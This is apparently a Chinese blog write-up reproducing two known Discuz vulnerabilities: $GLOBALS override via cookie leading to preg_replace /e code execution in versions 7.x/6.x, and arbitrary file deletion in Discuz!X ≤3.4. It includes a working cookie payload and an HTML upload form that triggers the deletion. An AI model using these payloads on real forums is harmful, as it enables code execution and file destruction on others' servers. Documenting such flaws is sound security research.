Discuz

Discuz 7.x/6.x 全局变量防御绕过导致代码执行

这是一个非常知名,历史漏洞也比较多的cms。
由于php5.3.x版本里php.ini的设置里request_order默认值为GP(只包含get和post,不包含cookie),导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

核心利用代码:
include/discuzcode.func.php中的

$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);

利用:
在一个已发布的帖子的请求的cookie字段中,添加如下payload来更改全局变量的值

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

在这里插入图片描述

Discuz!X ≤3.4 任意文件删除漏洞

看了一些文章,这个漏洞是由unlink函数引发的,函数参数中拼接了个人设置中的一些数据,但是要进入目标unlink函数,需要上传一张图片,将个人设置中的参数放入表单中。
在这里插入图片描述
可见需要上传一张图片才能进入逻辑,
在这里插入图片描述
这里直接用robots.txt进行测试
在这里插入图片描述
审查元素中找到formhash,
在这里插入图片描述
提交后,刷新页面,出生地已经修改成功
在这里插入图片描述
构造上传页面,任意上传一张图片

<html>
<body>
    <form action="http://your-ip/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=7d2c5f8d" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>
</html>

在这里插入图片描述
此事个人设置也发生了改变
在这里插入图片描述

reference:
https://www.secpulse.com/archives/2338.html
https://lorexxar.cn/2017/09/30/dz-delete/
https://bbs.pediy.com/thread-221723.htm

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值